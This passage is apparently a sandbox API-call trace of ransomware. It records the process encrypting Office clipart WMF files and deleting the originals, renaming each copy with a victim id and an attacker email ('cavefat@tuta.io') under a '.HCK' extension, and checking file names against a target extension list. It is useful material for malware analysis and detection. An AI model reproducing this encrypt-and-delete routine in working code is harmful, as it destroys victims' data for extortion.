hTemplateFile=0x0) returned 0x568 [0236.789] GetLastError () returned 0x0 [0236.789] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x1104, lpOverlapped=0x0) returned 1 [0236.790] WriteFile (in: hFile=0x568, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x1110, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x1110, lpOverlapped=0x0) returned 1 [0236.791] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.791] WriteFile (in: hFile=0x568, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0236.791] SetEndOfFile (hFile=0x568) returned 1 [0236.791] CloseHandle (hObject=0x568) returned 1 [0236.791] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.792] SetEndOfFile (hFile=0x3c4) returned 1 [0236.793] CloseHandle (hObject=0x3c4) returned 1 [0236.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.794] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf")) returned 1 [0237.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0237.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0237.087] lstrlenW (lpString=".doc") returned 4 [0237.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.087] lstrlenW (lpString=".docx") returned 5 [0237.087] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0237.087] lstrlenW (lpString=".pdf") returned 4 [0237.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.087] lstrlenW (lpString=".xls") returned 4 [0237.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.087] lstrlenW (lpString=".xlsx") returned 5 [0237.087] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0237.087] lstrlenW (lpString=".ppt") returned 4 [0237.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0237.087] lstrlenW (lpString=".zip") returned 4 [0237.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.087] lstrlenW (lpString=".rar") returned 4 [0237.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.087] lstrlenW (lpString=".bz2") returned 4 [0237.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.087] lstrlenW (lpString=".7z") returned 3 [0237.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0237.087] lstrlenW (lpString=".dbf") returned 4 [0237.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0237.088] lstrlenW (lpString=".1cd") returned 4 [0237.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0237.088] lstrlenW (lpString=".jpg") returned 4 [0237.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0237.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0237.088] lstrlenW (lpString=".doc") returned 4 [0237.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.088] lstrlenW (lpString=".docx") returned 5 [0237.088] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0237.088] lstrlenW (lpString=".pdf") returned 4 [0237.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.088] lstrlenW (lpString=".xls") returned 4 [0237.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.088] lstrlenW (lpString=".xlsx") returned 5 [0237.088] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0237.088] lstrlenW (lpString=".ppt") returned 4 [0237.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0237.088] lstrlenW (lpString=".zip") returned 4 [0237.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.088] lstrlenW (lpString=".rar") returned 4 [0237.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.088] lstrlenW (lpString=".bz2") returned 4 [0237.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.088] lstrlenW (lpString=".7z") returned 3 [0237.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0237.088] lstrlenW (lpString=".dbf") returned 4 [0237.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0237.088] lstrlenW (lpString=".1cd") returned 4 [0237.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0237.089] lstrlenW (lpString=".jpg") returned 4 [0237.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.089] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.089] lstrlenW (lpString="J0152432.WMF") returned 12 [0237.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0237.090] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=16492) returned 1 [0237.090] CloseHandle (hObject=0x3c4) returned 1 [0237.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf")) returned 0x220 [0237.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0237.090] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.090] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0237.091] GetLastError () returned 0x0 [0237.091] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x406c, lpOverlapped=0x0) returned 1 [0237.093] WriteFile (in: hFile=0x564, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x4070, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x4070, lpOverlapped=0x0) returned 1 [0237.094] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.094] WriteFile (in: hFile=0x564, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.094] SetEndOfFile (hFile=0x564) returned 1 [0237.094] CloseHandle (hObject=0x564) returned 1 [0237.094] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.094] SetEndOfFile (hFile=0x3c4) returned 1 [0237.098] CloseHandle (hObject=0x3c4) returned 1 [0237.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.099] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf")) returned 1 [0237.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0237.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0237.100] lstrlenW (lpString=".doc") returned 4 [0237.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.100] lstrlenW (lpString=".docx") returned 5 [0237.100] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0237.100] lstrlenW (lpString=".pdf") returned 4 [0237.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.100] lstrlenW (lpString=".xls") returned 4 [0237.100] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.100] lstrlenW (lpString=".xlsx") returned 5 [0237.100] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0237.100] lstrlenW (lpString=".ppt") returned 4 [0237.100] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0237.100] lstrlenW (lpString=".zip") returned 4 [0237.100] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.100] lstrlenW (lpString=".rar") returned 4 [0237.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.100] lstrlenW (lpString=".bz2") returned 4 [0237.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.100] lstrlenW (lpString=".7z") returned 3 [0237.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0237.100] lstrlenW (lpString=".dbf") returned 4 [0237.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0237.100] lstrlenW (lpString=".1cd") returned 4 [0237.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0237.100] lstrlenW (lpString=".jpg") returned 4 [0237.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0237.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0237.100] lstrlenW (lpString=".doc") returned 4 [0237.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.100] lstrlenW (lpString=".docx") returned 5 [0237.100] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0237.100] lstrlenW (lpString=".pdf") returned 4 [0237.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.101] lstrlenW (lpString=".xls") returned 4 [0237.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.101] lstrlenW (lpString=".xlsx") returned 5 [0237.101] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0237.101] lstrlenW (lpString=".ppt") returned 4 [0237.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0237.101] lstrlenW (lpString=".zip") returned 4 [0237.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.101] lstrlenW (lpString=".rar") returned 4 [0237.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.101] lstrlenW (lpString=".bz2") returned 4 [0237.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.101] lstrlenW (lpString=".7z") returned 3 [0237.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0237.101] lstrlenW (lpString=".dbf") returned 4 [0237.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0237.101] lstrlenW (lpString=".1cd") returned 4 [0237.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0237.101] lstrlenW (lpString=".jpg") returned 4 [0237.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.101] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.101] lstrlenW (lpString="J0152436.WMF") returned 12 [0237.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0237.103] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=11340) returned 1 [0237.103] CloseHandle (hObject=0x3c4) returned 1 [0237.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf")) returned 0x220 [0237.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0237.103] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.103] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0237.104] GetLastError () returned 0x0 [0237.104] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x2c4c, lpOverlapped=0x0) returned 1 [0237.106] WriteFile (in: hFile=0x564, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x2c50, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x2c50, lpOverlapped=0x0) returned 1 [0237.106] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.106] WriteFile (in: hFile=0x564, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.107] SetEndOfFile (hFile=0x564) returned 1 [0237.107] CloseHandle (hObject=0x564) returned 1 [0237.107] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.107] SetEndOfFile (hFile=0x3c4) returned 1 [0237.109] CloseHandle (hObject=0x3c4) returned 1 [0237.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.109] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf")) returned 1 [0237.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0237.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0237.110] lstrlenW (lpString=".doc") returned 4 [0237.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.110] lstrlenW (lpString=".docx") returned 5 [0237.110] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0237.110] lstrlenW (lpString=".pdf") returned 4 [0237.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.110] lstrlenW (lpString=".xls") returned 4 [0237.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.110] lstrlenW (lpString=".xlsx") returned 5 [0237.110] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0237.110] lstrlenW (lpString=".ppt") returned 4 [0237.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0237.110] lstrlenW (lpString=".zip") returned 4 [0237.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.110] lstrlenW (lpString=".rar") returned 4 [0237.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.110] lstrlenW (lpString=".bz2") returned 4 [0237.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.111] lstrlenW (lpString=".7z") returned 3 [0237.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0237.111] lstrlenW (lpString=".dbf") returned 4 [0237.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0237.111] lstrlenW (lpString=".1cd") returned 4 [0237.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0237.111] lstrlenW (lpString=".jpg") returned 4 [0237.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0237.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0237.111] lstrlenW (lpString=".doc") returned 4 [0237.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.111] lstrlenW (lpString=".docx") returned 5 [0237.111] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0237.111] lstrlenW (lpString=".pdf") returned 4 [0237.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.111] lstrlenW (lpString=".xls") returned 4 [0237.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.111] lstrlenW (lpString=".xlsx") returned 5 [0237.111] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0237.111] lstrlenW (lpString=".ppt") returned 4 [0237.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0237.111] lstrlenW (lpString=".zip") returned 4 [0237.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.111] lstrlenW (lpString=".rar") returned 4 [0237.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.111] lstrlenW (lpString=".bz2") returned 4 [0237.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.111] lstrlenW (lpString=".7z") returned 3 [0237.112] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0237.112] lstrlenW (lpString=".dbf") returned 4 [0237.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0237.112] lstrlenW (lpString=".1cd") returned 4 [0237.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0237.112] lstrlenW (lpString=".jpg") returned 4 [0237.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.112] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.112] lstrlenW (lpString="J0152556.WMF") returned 12 [0237.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0237.112] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=16432) returned 1 [0237.113] CloseHandle (hObject=0x3c4) returned 1 [0237.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf")) returned 0x220 [0237.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0237.113] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.113] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0237.114] GetLastError () returned 0x0 [0237.114] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x4030, lpOverlapped=0x0) returned 1 [0237.116] WriteFile (in: hFile=0x564, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x4040, 